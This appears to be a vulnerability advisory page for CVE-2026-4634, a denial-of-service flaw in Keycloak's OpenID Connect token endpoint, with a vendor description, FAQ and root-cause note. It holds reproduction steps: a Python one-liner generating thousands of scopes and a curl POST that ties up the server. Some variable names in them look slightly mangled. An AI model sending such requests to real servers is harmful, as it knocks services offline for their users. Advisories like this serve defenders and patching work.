CVE-2026-4634: Keycloak: keycloak: denial of service via excessive processing of openid connect scope parameters
A flaw was found in Keycloak. An unauthenticated attacker can exploit this vulnerability by sending a specially crafted POST request with an excessively long scope parameter to the OpenID Connect (OIDC) token endpoint. This leads to high resource consumption and prolonged processing times, ultimately resulting in a Denial of Service (DoS) for the Keycloak server.
Other sources
When receiving a POST request on the OpenID Connect token endpoint, Keycloak fails to limit the passed-in scopes, which leads to a high resource usage in Keycloak.
1. Generate a long list of scopes
SCOPE5K=$(python3 -c "print(' '.join(['scope'+str for i in range(5000)]))") echo "Scope parameter length: ${#SCOPE5K} bytes"
2. Post a ROPC Grant:
time curl -s -o /dev/null -w "admin-cli 5K scopes: HTTP %{httpcode} (%{timetotal}s)\n" \ -X POST "${KCURL}/realms/master/protocol/openid-connect/token" \ -d "granttype=password&clientid=admin-cli&username=x&password=x&scope=${SCOPE5K}"
Root cause: TokenManager.getRequestedClientScopes() at line 658 performs String.contains() on the entire scope parameter string for each default client scope, resulting in O(n²) processing time.
A single POST request with ~49KB of scope values causes 38.6 seconds of server-side processing; with ~99KB it reaches 151.8 seconds
The same problem occurs for client credential grants and token refreshes - in the case of token refreshes the problem occurs even before checking the token, so any token can be used, allowing any unauthenticated attacker to perform this.
— Red Hat
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-4634?
CVE-2026-4634 has been classified with a severity of medium due to its potential for denial of service.
How do I fix CVE-2026-4634?
To mitigate CVE-2026-4634, update your Keycloak installation to the latest version provided by Red Hat.
Which versions of Keycloak are affected by CVE-2026-4634?
CVE-2026-4634 affects multiple versions of Keycloak including 26.2, 26.2.15, 26.4, and 26.4.11.
Can CVE-2026-4634 be exploited by authenticated users?
No, CVE-2026-4634 can be exploited by unauthenticated attackers through specially crafted requests.
What kind of attack does CVE-2026-4634 facilitate?
CVE-2026-4634 enables a denial of service attack by causing excessive processing of OpenID Connect scope parameters.